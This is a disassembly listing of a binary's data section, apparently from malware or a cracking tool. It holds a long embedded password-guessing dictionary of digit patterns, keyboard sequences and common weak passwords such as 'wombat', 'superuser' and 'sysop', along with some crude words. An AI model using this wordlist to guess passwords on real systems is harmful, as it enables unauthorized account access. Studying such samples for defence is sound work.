a7410		db '7410',0             ; DATA XREF: seg002:0042B098o
		align 4
a9999999999	db '9999999999',0       ; DATA XREF: seg002:0042B090o
		align 10h
a999999999	db '999999999',0        ; DATA XREF: seg002:0042B08Co
		align 4
a99999999	db '99999999',0         ; DATA XREF: seg002:0042B088o
		align 4
a9999999	db '9999999',0          ; DATA XREF: seg002:0042B084o
a999999		db '999999',0           ; DATA XREF: seg002:0042B080o
		align 4
a99999		db '99999',0            ; DATA XREF: seg002:0042B07Co
		align 10h
a9999		db '9999',0             ; DATA XREF: seg002:0042B078o
		align 4
a999		db '999',0              ; DATA XREF: seg002:0042B074o
a99		db '99',0               ; DATA XREF: seg002:0042B070o
		align 10h
a9:					; DATA XREF: seg002:0042B06Co
		unicode	0, <9>,0
a8888888888	db '8888888888',0       ; DATA XREF: seg002:0042B068o
		align 10h
a888888888	db '888888888',0        ; DATA XREF: seg002:0042B064o
		align 4
a8888888	db '8888888',0          ; DATA XREF: seg002:0042B05Co
a888888		db '888888',0           ; DATA XREF: seg002:0042B058o
		align 4
a88888		db '88888',0            ; DATA XREF: seg002:0042B054o
		align 4
a8888		db '8888',0             ; DATA XREF: seg002:0042B050o
		align 4
a888		db '888',0              ; DATA XREF: seg002:0042B04Co
a88		db '88',0               ; DATA XREF: seg002:0042B048o
		align 4
a8:					; DATA XREF: seg002:0042B044o
		unicode	0, <8>,0
a7777777777	db '7777777777',0       ; DATA XREF: seg002:0042B040o
		align 4
a777777777	db '777777777',0        ; DATA XREF: seg002:0042B03Co
		align 10h
a77777777	db '77777777',0         ; DATA XREF: seg002:0042B038o
		align 4
a7777777	db '7777777',0          ; DATA XREF: seg002:0042B034o
a777777		db '777777',0           ; DATA XREF: seg002:0042B030o
		align 4
a77777		db '77777',0            ; DATA XREF: seg002:0042B02Co
		align 4
a7777		db '7777',0             ; DATA XREF: seg002:0042B028o
		align 4
a777		db '777',0              ; DATA XREF: seg002:0042B024o
a77		db '77',0               ; DATA XREF: seg002:0042B020o
		align 4
a7:					; DATA XREF: seg002:0042B01Co
		unicode	0, <7>,0
a6666666666	db '6666666666',0       ; DATA XREF: seg002:0042B018o
		align 4
a666666666	db '666666666',0        ; DATA XREF: seg002:0042B014o
		align 10h
a66666666	db '66666666',0         ; DATA XREF: seg002:0042B010o
		align 4
a6666666	db '6666666',0          ; DATA XREF: seg002:0042B00Co
a666666		db '666666',0           ; DATA XREF: seg002:0042B008o
		align 4
a66666		db '66666',0            ; DATA XREF: seg002:0042B004o
		align 4
a6666		db '6666',0             ; DATA XREF: seg002:0042B000o
		align 4
a666		db '666',0              ; DATA XREF: seg002:0042AFFCo
a66		db '66',0               ; DATA XREF: seg002:0042AFF8o
		align 4
a6:					; DATA XREF: seg002:0042AFF4o
		unicode	0, <6>,0
a5555555555	db '5555555555',0       ; DATA XREF: seg002:0042AFF0o
		align 4
a555555555	db '555555555',0        ; DATA XREF: seg002:0042AFECo
		align 10h
a55555555	db '55555555',0         ; DATA XREF: seg002:0042AFE8o
		align 4
a5555555	db '5555555',0          ; DATA XREF: seg002:0042AFE4o
a555555		db '555555',0           ; DATA XREF: seg002:0042AFE0o
		align 4
a55555		db '55555',0            ; DATA XREF: seg002:0042AFDCo
		align 4
a5555		db '5555',0             ; DATA XREF: seg002:0042AFD8o
		align 4
a555		db '555',0              ; DATA XREF: seg002:0042AFD4o
a55		db '55',0               ; DATA XREF: seg002:0042AFD0o
		align 4
a5:					; DATA XREF: seg002:0042AFCCo
		unicode	0, <5>,0
a4444444444	db '4444444444',0       ; DATA XREF: seg002:0042AFC8o
		align 4
a444444444	db '444444444',0        ; DATA XREF: seg002:0042AFC4o
		align 10h
a44444444	db '44444444',0         ; DATA XREF: seg002:0042AFC0o
		align 4
a4444444	db '4444444',0          ; DATA XREF: seg002:0042AFBCo
a444444		db '444444',0           ; DATA XREF: seg002:0042AFB8o
		align 4
a44444		db '44444',0            ; DATA XREF: seg002:0042AFB4o
		align 4
a4444		db '4444',0             ; DATA XREF: seg002:0042AFB0o
		align 4
a444		db '444',0              ; DATA XREF: seg002:0042AFACo
a44		db '44',0               ; DATA XREF: seg002:0042AFA8o
		align 4
a4:					; DATA XREF: seg002:0042AFA4o
		unicode	0, <4>,0
a3333333333	db '3333333333',0       ; DATA XREF: seg002:0042AFA0o
		align 4
a333333333	db '333333333',0        ; DATA XREF: seg002:0042AF9Co
		align 10h
a33333333	db '33333333',0         ; DATA XREF: seg002:0042AF98o
		align 4
a3333333	db '3333333',0          ; DATA XREF: seg002:0042AF94o
a333333		db '333333',0           ; DATA XREF: seg002:0042AF90o
		align 4
a33333		db '33333',0            ; DATA XREF: seg002:0042AF8Co
		align 4
a3333		db '3333',0             ; DATA XREF: seg002:0042AF88o
		align 4
a333		db '333',0              ; DATA XREF: seg002:0042AF84o
a33		db '33',0               ; DATA XREF: seg002:0042AF80o
		align 4
a3:					; DATA XREF: seg002:0042AF7Co
		unicode	0, <3>,0
a2222222222	db '2222222222',0       ; DATA XREF: seg002:0042AF78o
		align 4
a222222222	db '222222222',0        ; DATA XREF: seg002:0042AF74o
		align 10h
a22222222	db '22222222',0         ; DATA XREF: seg002:0042AF70o
		align 4
a2222222	db '2222222',0          ; DATA XREF: seg002:0042AF6Co
a222222		db '222222',0           ; DATA XREF: seg002:0042AF68o
		align 4
a22222		db '22222',0            ; DATA XREF: seg002:0042AF64o
		align 4
a2222		db '2222',0             ; DATA XREF: seg002:0042AF60o
		align 4
a222		db '222',0              ; DATA XREF: seg002:0042AF5Co
a22		db '22',0               ; DATA XREF: seg002:0042AF58o
		align 4
a2:					; DATA XREF: seg002:0042AF54o
		unicode	0, <2>,0
a1111111111	db '1111111111',0       ; DATA XREF: seg002:0042AF50o
		align 4
a111111111	db '111111111',0        ; DATA XREF: seg002:0042AF4Co
		align 10h
a1111111	db '1111111',0          ; DATA XREF: seg002:0042AF44o
a11111		db '11111',0            ; DATA XREF: seg002:0042AF3Co
		align 10h
a1111		db '1111',0             ; DATA XREF: seg002:0042AF38o
		align 4
a11		db '11',0               ; DATA XREF: seg002:0042AF30o
		align 4
a010		db '010',0              ; DATA XREF: seg002:0042AF20o
a009		db '009',0              ; DATA XREF: seg002:0042AF1Co
a008		db '008',0              ; DATA XREF: seg002:0042AF18o
a006		db '006',0              ; DATA XREF: seg002:0042AF10o
a005		db '005',0              ; DATA XREF: seg000:00401D8Ao
					; seg002:0042AF0Co
a004		db '004',0              ; DATA XREF: seg002:0042AF08o
a003		db '003',0              ; DATA XREF: seg002:0042AF04o
a002		db '002',0              ; DATA XREF: seg002:0042AF00o
a001		db '001',0              ; DATA XREF: seg000:00401D75o
					; seg002:0042AEFCo
asc_42C1B0	db '*********',0        ; DATA XREF: seg002:0042AEF8o
		align 4
asc_42C1BC	db '********',0         ; DATA XREF: seg002:0042AEF4o
		align 4
asc_42C1C8	db '*******',0          ; DATA XREF: seg002:0042AEF0o
asc_42C1D0	db '******',0           ; DATA XREF: seg002:0042AEECo
		align 4
asc_42C1D8	db '*****',0            ; DATA XREF: seg002:0042AEE8o
		align 10h
asc_42C1E0	db '****',0             ; DATA XREF: seg002:0042AEE4o
		align 4
asc_42C1E8	db '***',0              ; DATA XREF: seg002:0042AEE0o
asc_42C1EC	db '**',0               ; DATA XREF: seg002:0042AEDCo
		align 10h
asc_42C1F0:				; DATA XREF: seg000:0040FFC5o
					; seg002:0042AED8o
		unicode	0, <*>,0
a0000000000	db '0000000000',0       ; DATA XREF: seg002:0042AED4o
		align 10h
a000000000	db '000000000',0
		align 4
a@		db '@!',0
		align 10h
a@_0		db '#@!',0
a@_1		db '$#@!',0
		align 4
a@_2		db '%$#@!',0
		align 4
a@_3		db '^%$#@!',0
		align 4
a@_4		db '&^%$#@!',0
a@_5		db '*&^%$#@!',0
		align 10h
		db '$$$',0
		db '$$',0
		align 4
		unicode	0, <$>,0
a456_0		db '456+',0
		align 4
a789_0		db '789+',0
		align 4
a0		db '=-0',0
		db '--++',0
		align 4
		db '-+',0
		align 4
		db '----',0
		align 4
		db '--',0
		align 4
		unicode	0, <->,0
		db '++++',0
		align 4
		db '+++',0
		db '++',0
		align 4
		unicode	0, <+>,0
a@@		db '@@',0               ; DATA XREF: seg002:0042AE54o
		align 4
a@_6:					; DATA XREF: seg000:00401DAFo
		unicode	0, <@>,0
		dd offset loc_40211F+2
		dd 2121h
dword_42C2A0	dd 23h,	24234021h, 2A265E25h, 0					; sub_40C98B+1Bo
		dd 24234021h, 265E25h, 24234021h, 5E25h, 24234021h, 25h
		dd 234021h, 4021h
dword_42C2D0	dd 21h,	25h, 6D6D697Ah,	616D7265h, 6Eh					; seg000:004097DEo
dword_42C2E4	dd 70617Ah	aYellowstone	db 'yellowstone',0      ; DATA XREF: seg002:0042AE18o
aXyz		db 'xyz',0              ; DATA XREF: seg002:0042AE14o
aWisconsin	db 'wisconsin',0
		align 4
aWilliamsburg	db 'williamsburg',0
		align 4
aWholesale	db 'wholesale',0
		align 10h
aTty		db 'tty',0
aTopography	db 'topography',0
		align 10h
aTemptation	db 'temptation',0
		align 4
aTelephone	db 'telephone',0
		align 4
aTangerine	db 'tangerine',0
		align 4
aSys		db 'sys',0
aSupported	db 'supported',0
		align 4
aSuperuser	db 'superuser',0
		align 10h
aSuperstage	db 'superstage',0
		align 4
aSun		db 'sun',0
aStuttgart	db 'stuttgart',0
		align 4
aStratford	db 'stratford',0
		align 4
aStephanie	db 'stephanie',0
		align 4
aSignature	db 'signature',0
		align 10h
aSheffield	db 'sheffield',0
		align 4
aSal		db 'sal',0
aRochester	db 'rochester',0
		align 4
aRje		db 'rje',0
aRachmaninoff	db 'rachmaninoff',0
		align 10h
aPub		db 'pub',0
aProfessor	db 'professor',0
		align 10h
aPrinceton	db 'princeton',0
		align 4
aPondering	db 'pondering',0
		align 4
aPolynomial	db 'polynomial',0
		align 4
aPersimmon	db 'persimmon',0
		align 10h
aPercolate	db 'percolate',0
		align 4
aPam		db 'pam',0
aPad		db 'pad',0
aOceanography	db 'oceanography',0
		align 4
aNutrition	db 'nutrition',0
		align 10h
aNew		db 'new',0
aNet		db 'net',0              ; DATA XREF: seg000:00405F5Ao
aMit		db 'mit',0
aMgr		db 'mgr',0
aMacintosh	db 'macintosh',0
		align 4
aLiz		db 'liz',0
aLee		db 'lee',0
aLamination	db 'lamination',0
		align 10h
aKim		db 'kim',0
aKey		db 'key',0              ; DATA XREF: seg000:00403347o
aJoy		db 'joy',0
aJen		db 'jen',0
aInnocuous	db 'innocuous',0
		align 4
aImbroglio	db 'imbroglio',0
		align 4
aIbm		db 'ibm',0
aHappening	db 'happening',0
		align 4
aHal		db 'hal',0
aGnu		db 'gnu',0
aFun		db 'fun',0
aForesight	db 'foresight',0
		align 10h
aFoolproof	db 'foolproof',0
		align 4
aExtension	db 'extension',0        ; DATA XREF: seg002:0042AD38o
		align 4
aEstablish	db 'establish',0        ; DATA XREF: seg002:0042AD34o
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: seg002:0042AD30o
		align 10h
aElizabeth	db 'elizabeth',0        ; DATA XREF: seg002:0042AD2Co
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: seg002:0042AD28o
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: seg002:0042AD24o
		align 4
aDos		db 'dos',0              ; DATA XREF: seg002:0042AD20o
aDog		db 'dog',0              ; DATA XREF: seg002:0042AD1Co
aDiscovery	db 'discovery',0        ; DATA XREF: seg002:0042AD18o
		align 4
aDesperate	db 'desperate',0        ; DATA XREF: seg002:0042AD14o
		align 4
aDeb		db 'deb',0              ; DATA XREF: seg002:0042AD10o
aCornelius	db 'cornelius',0        ; DATA XREF: seg002:0042AD0Co
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: seg002:0042AD08o
		align 10h
aChristine	db 'christine',0        ; DATA XREF: seg002:0042AD04o
		align 4
aChristina	db 'christina',0        ; DATA XREF: seg002:0042AD00o
		align 4
aChemistry	db 'chemistry',0        ; DATA XREF: seg002:0042ACFCo
		align 4
aCatherine	db 'catherine',0        ; DATA XREF: seg002:0042ACF8o
		align 10h
aCat		db 'cat',0              ; DATA XREF: seg002:0042ACF4o
aCampanile	db 'campanile',0        ; DATA XREF: seg002:0042ACF0o
		align 10h
aCad		db 'cad',0              ; DATA XREF: seg002:0042ACECo
aBsd		db 'bsd',0              ; DATA XREF: seg002:0042ACE8o
aBob		db 'bob',0              ; DATA XREF: seg002:0042ACE4o
aBicameral	db 'bicameral',0        ; DATA XREF: seg002:0042ACE0o
		align 4
aBeethoven	db 'beethoven',0        ; DATA XREF: seg002:0042ACDCo
		align 4
aAtmosphere	db 'atmosphere',0       ; DATA XREF: seg002:0042ACD8o
		align 10h
aAsm		db 'asm',0              ; DATA XREF: seg002:0042ACD4o
aAsd		db 'asd',0              ; DATA XREF: seg002:0042ACD0o
					; seg002:0042B33Co
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: seg002:0042ACCCo
		align 4
aAnn		db 'ann',0              ; DATA XREF: seg002:0042ACC8o
aAndromache	db 'andromache',0       ; DATA XREF: seg002:0042ACC4o
		align 4
aAmy		db 'amy',0              ; DATA XREF: seg002:0042ACC0o
aAmorphous	db 'amorphous',0        ; DATA XREF: seg002:0042ACBCo
		align 4
aAma		db 'ama',0              ; DATA XREF: seg002:0042ACB8o
aAlf		db 'alf',0              ; DATA XREF: seg002:0042ACB4o
aAlbatross	db 'albatross',0        ; DATA XREF: seg002:0042ACB0o
		align 4
aAda		db 'ada',0              ; DATA XREF: seg002:0042ACACo
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: seg002:0042ACA8o
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: seg002:0042ACA4o
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: seg002:0042ACA0o
		align 10h
aHaxing		db 'haxing',0           ; DATA XREF: seg002:0042AC9Co
		align 4
aHax		db 'hax',0              ; DATA XREF: seg002:0042AC98o
aWh0re		db 'wh0re',0            ; DATA XREF: seg002:0042AC94o
		align 4
aHo		db 'ho',0               ; DATA XREF: seg002:0042AC90o
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: seg002:0042AC8Co
		align 10h
aWindoze95	db 'windoze95',0        ; DATA XREF: seg002:0042AC88o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: seg002:0042AC84o
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: seg002:0042AC80o
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: seg002:0042AC7Co
		align 10h
aWindozexp	db 'windozexp',0        ; DATA XREF: seg002:0042AC78o
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: seg002:0042AC74o
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: seg002:0042AC70o
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: seg002:0042AC6Co
		align 10h
aWindows2k	db 'windows2k',0        ; DATA XREF: seg002:0042AC68o
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: seg002:0042AC64o
		align 4
aMs		db 'MS',0               ; DATA XREF: seg002:0042AC60o
		align 4
aM_2		db 'M$',0               ; DATA XREF: seg002:0042AC5Co
		align 10h
aBilly		db 'billy',0            ; DATA XREF: seg002:0042AC58o
		align 4
aWindose	db 'windose',0          ; DATA XREF: seg002:0042AC54o
aWindoze	db 'windoze',0          ; DATA XREF: seg002:0042AC50o
aWindowz	db 'windowz',0          ; DATA XREF: seg002:0042AC4Co
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: seg002:0042AC48o
aDonaldduck	db 'donaldduck',0       ; DATA XREF: seg002:0042AC44o
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: seg002:0042AC40o
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: seg002:0042AC3Co
		align 4
aDud3		db 'dud3',0             ; DATA XREF: seg002:0042AC38o
		align 4
aDudette	db 'dudette',0          ; DATA XREF: seg002:0042AC34o
aD00d		db 'd00d',0             ; DATA XREF: seg002:0042AC30o
		align 4
aLol		db 'lol',0              ; DATA XREF: seg002:0042AC2Co
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: seg002:0042AC28o
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: seg002:0042AC24o
		align 10h
aRosco		db 'Rosco',0            ; DATA XREF: seg002:0042AC20o
		align 4
aRoss		db 'Ross',0             ; DATA XREF: seg002:0042AC1Co
		align 10h
aTestin		db 'testin',0           ; DATA XREF: seg002:0042AC18o
		align 4
aTester		db 'tester',0           ; DATA XREF: seg002:0042AC14o
		align 10h
a00000000	db '00000000',0         ; DATA XREF: seg002:0042AC10o
		align 4
aZulu		db 'zulu',0             ; DATA XREF: seg002:0042AC0Co
		align 4
aZombie		db 'zombie',0           ; DATA XREF: seg002:0042AC08o
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: seg002:0042AC04o
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: seg002:0042AC00o
		align 10h
aZiggy		db 'ziggy',0            ; DATA XREF: seg002:0042ABFCo
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: seg002:0042ABF8o
		align 4
aZebra		db 'zebra',0            ; DATA XREF: seg002:0042ABF4o
		align 4
aYoung		db 'young',0            ; DATA XREF: seg002:0042ABF0o
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: seg002:0042ABECo
		align 10h
aYolanda	db 'yolanda',0          ; DATA XREF: seg002:0042ABE8o
aYellowst	db 'yellowst',0         ; DATA XREF: seg002:0042ABE4o
		align 4
aYellow		db 'yellow',0           ; DATA XREF: seg002:0042ABE0o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: seg002:0042ABDCo
		align 4
aYang		db 'yang',0             ; DATA XREF: seg002:0042ABD8o
					; seg002:0042B314o
		align 4
aYaco		db 'yaco',0             ; DATA XREF: seg002:0042ABD4o
					; seg002:0042B310o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: seg002:0042ABD0o
		align 4
aXray		db 'xray',0             ; DATA XREF: seg002:0042ABCCo
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: seg002:0042ABC8o
		align 4
aXmen		db 'xmen',0             ; DATA XREF: seg002:0042ABC4o
		align 4
aXman		db 'xman',0             ; DATA XREF: seg002:0042ABC0o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: seg002:0042ABBCo
		align 4
aXena		db 'xena',0             ; DATA XREF: seg002:0042ABB8o
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: seg002:0042ABB4o
aWwii		db 'wwii',0             ; DATA XREF: seg002:0042ABB0o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: seg002:0042ABACo
		align 4
aWorm		db 'worm',0             ; DATA XREF: seg002:0042ABA8o
		align 10h
aWork		db 'work',0             ; DATA XREF: seg002:0042ABA4o
		align 4
aWorf		db 'worf',0             ; DATA XREF: seg002:0042ABA0o
		align 10h
aWordperf	db 'wordperf',0         ; DATA XREF: seg002:0042AB9Co
		align 4
aWord		db 'word',0             ; DATA XREF: seg002:0042AB98o
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: seg002:0042AB94o
		align 10h
aWood		db 'wood',0             ; DATA XREF: seg002:0042AB90o
		align 4
aWomen		db 'women',0            ; DATA XREF: seg002:0042AB8Co
		align 10h
aWombat		db 'wombat',0           ; DATA XREF: seg002:0042AB88o
		align 4
aWoman		db 'woman',0            ; DATA XREF: seg002:0042AB84o
		align 10h
aWolverin	db 'wolverin',0         ; DATA XREF: seg002:0042AB80o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: seg002:0042AB7Co
		align 4
aWizard		db 'wizard',0           ; DATA XREF: seg002:0042AB78o
		align 4
aWithin		db 'within',0           ; DATA XREF: seg002:0042AB74o
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: seg002:0042AB70o
aWisconsi	db 'wisconsi',0         ; DATA XREF: seg002:0042AB6Co
		align 4
aWired		db 'wired',0            ; DATA XREF: seg002:0042AB68o
		align 10h
aWinston	db 'winston',0          ; DATA XREF: seg002:0042AB64o
aWing		db 'wing',0             ; DATA XREF: seg002:0042AB60o
		align 10h
aWine		db 'wine',0             ; DATA XREF: seg002:0042AB5Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: seg002:0042AB58o
aWilma		db 'wilma',0            ; DATA XREF: seg002:0042AB54o
		align 4
aWillie		db 'willie',0           ; DATA XREF: seg002:0042AB50o
		align 10h
aWilliams	db 'williams',0         ; DATA XREF: seg002:0042AB4Co
		align 4
aWilliam	db 'william',0          ; DATA XREF: seg002:0042AB48o
aWill		db 'will',0             ; DATA XREF: seg002:0042AB44o
		align 4
aWhore		db 'whore',0            ; DATA XREF: seg002:0042AB40o
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: seg002:0042AB3Co
		align 10h
aWhitney	db 'whitney',0          ; DATA XREF: seg002:0042AB38o
aWhiting	db 'whiting',0          ; DATA XREF: seg002:0042AB34o
aWhite		db 'white',0            ; DATA XREF: seg002:0042AB30o
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: seg002:0042AB2Co
		align 10h
aWhatnot	db 'whatnot',0          ; DATA XREF: seg002:0042AB28o
aWhatever	db 'whatever',0         ; DATA XREF: seg002:0042AB24o
		align 4
aWestern	db 'western',0          ; DATA XREF: seg002:0042AB20o
aWest		db 'west',0             ; DATA XREF: seg002:0042AB1Co
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: seg002:0042AB18o
		align 10h
aWendy		db 'wendy',0            ; DATA XREF: seg002:0042AB14o
		align 4
aWendi		db 'wendi',0            ; DATA XREF: seg002:0042AB10o
		align 10h
aWell		db 'well',0             ; DATA XREF: seg002:0042AB0Co
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: seg002:0042AB08o
		align 10h
aWeed		db 'weed',0             ; DATA XREF: seg002:0042AB04o
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: seg002:0042AB00o
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: seg002:0042AAFCo
aWave		db 'wave',0             ; DATA XREF: seg002:0042AAF8o
		align 4
aWater		db 'water',0            ; DATA XREF: seg002:0042AAF4o
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: seg002:0042AAF0o
		align 4
aWasp		db 'wasp',0             ; DATA XREF: seg002:0042AAECo
		align 10h
aWarren		db 'warren',0
		align 4
aWarp		db 'warp',0
		align 10h
aWargames	db 'wargames',0
		align 4
aWarfare	db 'warfare',0
aWarez		db 'warez',0
		align 4
aWard		db 'ward',0
		align 4
aWaco		db 'waco',0
		align 4
aVodka		db 'vodka',0
		align 4
aVisualba	db 'visualba',0
		align 10h
aVisual		db 'visual',0
		align 4
aVisitor	db 'visitor',0
aVirus		db 'virus',0
		align 4
aVirginia	db 'virginia',0
		align 4
aVirgin		db 'virgin',0
		align 4
aVillage	db 'village',0
aVideogam	db 'videogam',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: seg000:loc_408EC3o
		align 4
aVictor		db 'victor',0
		align 10h
aVicky		db 'vicky',0
		align 4
aVertigo	db 'vertigo',0
aVeronica	db 'veronica',0
		align 4
aVenus		db 'venus',0            ; DATA XREF: seg002:0042AA94o
		align 4
aVasant		db 'vasant',0
		align 4
aVampire	db 'vampire',0
aValerie	db 'valerie',0          ; DATA XREF: seg002:0042AA88o
aVagina		db 'vagina',0           ; DATA XREF: seg002:0042AA84o
		align 4
aUucp		db 'uucp',0             ; DATA XREF: seg002:0042AA80o
		align 4
aUtility	db 'utility',0
aUtil		db 'util',0
		align 4
aUsmc		db 'usmc',0
		align 4
aUsername_0	db 'username',0
		align 10h
aUsermane	db 'usermane',0
		align 4
aUsenet		db 'usenet',0
		align 4
aUrsula		db 'ursula',0
		align 4
aUrchin		db 'urchin',0
		align 4
aUranus		db 'uranus',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: seg000:00407281o
		align 4
aUnlock		db 'unlock',0
		align 4
aUnknown_0	db 'unknown',0
aUniversi	db 'universi',0
		align 10h
aUniverse	db 'universe',0
		align 4
aUniversa	db 'universa',0
		align 4
aUniform	db 'uniform',0
aUnicorn	db 'unicorn',0
aUnhappy	db 'unhappy',0
aUndo		db 'undo',0
		align 4
aUncle		db 'uncle',0
		align 10h
aUmesh		db 'umesh',0
		align 4
aUgly		db 'ugly',0
		align 10h
aTuttle		db 'tuttle',0
		align 4
aTurn		db 'turn',0
		align 10h
aTuesday	db 'tuesday',0
aTubas		db 'tubas',0
		align 10h
aTruth		db 'truth',0
		align 4
aTrue		db 'true',0
		align 10h
aTron		db 'tron',0
		align 4
aTrombone	db 'trombone',0
		align 4
aTrojan		db 'trojan',0
		align 4
aTrivial	db 'trivial',0
aTrisha		db 'trisha',0
		align 4
aTrek		db 'trek',0
		align 4
aTree		db 'tree',0
		align 4
aTrapdoor	db 'trapdoor',0
		align 4
aTrap		db 'trap',0
		align 10h
aTransfer	db 'transfer',0
		align 4
aTrails		db 'trails',0
		align 4
aTracy		db 'tracy',0
		align 4
aTracie		db 'tracie',0
		align 4
aTraci		db 'traci',0
		align 4
aToyota_0	db 'toyota',0
		align 4
aToxic		db 'toxic',0
		align 4
aTortoise	db 'tortoise',0
		align 4
aTopograp	db 'topograp',0
		align 4
aTomato		db 'tomato',0
		align 4
aTokenrin	db 'tokenrin',0
		align 4
aToken		db 'token',0
		align 10h
aToggle		db 'toggle',0
		align 4
aToad		db 'toad',0
		align 10h
aTits		db 'tits',0
		align 4
aTina		db 'tina',0
		align 10h
aTime		db 'time',0
		align 4
aTiger		db 'tiger',0
		align 10h
aTiffany	db 'tiffany',0
aThursday	db 'thursday',0
		align 4
aThin		db 'thin',0
		align 4
aTheresa	db 'theresa',0
aThailand	db 'thailand',0
		align 10h
aText		db 'text',0
		align 4
aTetris		db 'tetris',0           ; DATA XREF: seg002:0042A988o
		align 10h
aTess		db 'tess',0             ; DATA XREF: seg002:0042A984o
		align 4
aTerminat	db 'terminat',0         ; DATA XREF: seg002:0042A980o
		align 4
aTerminal	db 'terminal',0         ; DATA XREF: seg002:0042A97Co
		align 10h
aTera		db 'tera',0             ; DATA XREF: seg002:0042A978o
		align 4
aTennis		db 'tennis',0           ; DATA XREF: seg002:0042A974o
		align 10h
aTemptati	db 'temptati',0         ; DATA XREF: seg002:0042A970o
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: seg002:0042A96Co
		align 4
aTelephon	db 'telephon',0         ; DATA XREF: seg002:0042A968o
		align 10h
aTeenage	db 'teenage',0          ; DATA XREF: seg002:0042A964o
aTeen		db 'teen',0             ; DATA XREF: seg002:0042A960o
		align 10h
aTech		db 'tech',0             ; DATA XREF: seg002:0042A95Co
		align 4
aTears		db 'tears',0            ; DATA XREF: seg002:0042A958o
		align 10h
aTeapot		db 'teapot',0           ; DATA XREF: seg002:0042A954o
		align 4
aTeam		db 'team',0             ; DATA XREF: seg002:0042A950o
		align 10h
aTaylor		db 'taylor',0           ; DATA XREF: seg002:0042A948o
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: seg002:0042A944o
		align 4
aTarget		db 'target',0           ; DATA XREF: seg002:0042A940o
		align 4
aTara		db 'tara',0             ; DATA XREF: seg002:0042A93Co
		align 4
aTape		db 'tape',0             ; DATA XREF: seg002:0042A938o
		align 4
aTango		db 'tango',0            ; DATA XREF: seg002:0042A934o
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: seg002:0042A930o
		align 10h
aTammy		db 'tammy',0            ; DATA XREF: seg002:0042A92Co
		align 4
aTamie		db 'tamie',0            ; DATA XREF: seg002:0042A928o
		align 10h
aTami		db 'tami',0             ; DATA XREF: seg002:0042A924o
		align 4
aTamara		db 'tamara',0           ; DATA XREF: seg002:0042A920o
		align 10h
aTall		db 'tall',0             ; DATA XREF: seg002:0042A91Co
		align 4
aTalk		db 'talk',0             ; DATA XREF: seg002:0042A918o
		align 10h
aTabasco	db 'tabasco',0          ; DATA XREF: seg002:0042A914o
aSysop		db 'sysop',0            ; DATA XREF: seg002:0042A910o
		align 10h
aSysadmin	db 'sysadmin',0         ; DATA XREF: seg002:0042A90Co
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: seg002:0042A908o
		align 4
aSybil		db 'sybil',0            ; DATA XREF: seg002:0042A904o
		align 10h
aSword		db 'sword',0            ; DATA XREF: seg002:0042A900o
		align 4
aSwitch		db 'switch',0           ; DATA XREF: seg002:0042A8FCo
		align 10h
aSweat		db 'sweat',0            ; DATA XREF: seg002:0042A8F8o
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: seg002:0042A8F4o
aSuzie		db 'suzie',0            ; DATA XREF: seg002:0042A8F0o
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: seg002:0042A8ECo
aSusie		db 'susie',0            ; DATA XREF: seg002:0042A8E8o
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: seg002:0042A8E4o
aSusan		db 'susan',0            ; DATA XREF: seg002:0042A8E0o
		align 4
aSurfing	db 'surfing',0          ; DATA XREF: seg002:0042A8DCo
aSurfer		db 'surfer',0           ; DATA XREF: seg002:0042A8D8o
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: seg002:0042A8D4o
		align 4
aSupport	db 'support',0          ; DATA XREF: seg002:0042A8D0o
aSupervis	db 'supervis',0         ; DATA XREF: seg002:0042A8CCo
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: seg002:0042A8C8o
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: seg002:0042A8C4o
		align 10h
aSuperson	db 'superson',0         ; DATA XREF: seg002:0042A8C0o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: seg002:0042A8BCo
		align 4
